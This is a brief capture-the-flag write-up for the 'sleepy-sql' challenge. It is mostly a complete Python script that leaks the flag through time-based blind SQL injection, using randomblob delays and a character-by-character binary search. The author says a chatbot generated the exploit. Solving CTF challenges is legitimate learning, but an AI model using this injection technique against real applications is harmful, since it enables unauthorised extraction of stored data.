sleepy-sql
SRC: https://library.m0unt41n.ch/challenges/sleepy-sqlThis challenge is pretty obvious that we have to perform sql inejction, the hard part is exfiltration tho, there is not reflection allowing us too read any data (like the flag). So we have to work with what we got, time.
We can bruteforce each char of the flag and manipulate the request time with a certain data blob size...
Here the xploit script chat gpt created for me lulz:
Python:
#!/usr/bin/env python3
import requests, time, statistics, sys
TARGET = "https://x.library.m0unt41n.ch:1337/"
MAX_FLAG_LEN = 40
BLOB_SIZE = 20_000_000
TIMEOUT = 10
RETRIES = 3
session = requests.Session()
session.headers["User-Agent"] = "flag-fisher/1.0"
def calibrate_threshold():
print("[*] calibrating latency…")
sample = []
for i in range(5):
t0 = time.time()
session.post(TARGET, data={"name": "probe", "message": "test"})
sample.append(time.time() - t0)
base = statistics.median(sample)
thresh = base + 1.5
print(f" baseline {base:.2f}s → threshold {thresh:.2f}s\n")
return thresh
def is_cp_gt(position: int, midpoint: int, threshold: float) -> bool:
"""True if code‑point at pos > midpoint (measured via delay)"""
payload = (
"'||("
f"SELECT CASE WHEN unicode(substr((SELECT message FROM messages "
f"WHERE name='admin'),{position},1))>{midpoint} "
f"THEN randomblob({BLOB_SIZE}) END"
")||'"
)
for attempt in range(1, RETRIES + 1):
try:
t0 = time.time()
session.post(TARGET, data={"name": "bot", "message": payload},
timeout=TIMEOUT, verify=True)
delay = time.time() - t0
print(f" pos {position:<2} > {midpoint:3}? {delay:.2f}s "
f"→ {'YES' if delay > threshold else 'no'}")
return delay > threshold
except requests.exceptions.ReadTimeout:
print(f" timeout {attempt}/{RETRIES}")
print(" giving up on this comparison, assuming False")
return False
def leak_flag():
threshold = calibrate_threshold()
flag = ""
for pos in range(1, MAX_FLAG_LEN + 1):
lo, hi = 0, 127
while lo < hi:
mid = (lo + hi) // 2
if is_cp_gt(pos, mid, threshold):
lo = mid + 1
else:
hi = mid
if lo == 0:
break
flag += chr(lo)
print(f"[+] so far: {flag!r}\n")
sys.stdout.flush()
return flag
if __name__ == "__main__":
final_flag = leak_flag()
print(f"\n[:)] FLAG = {final_flag}")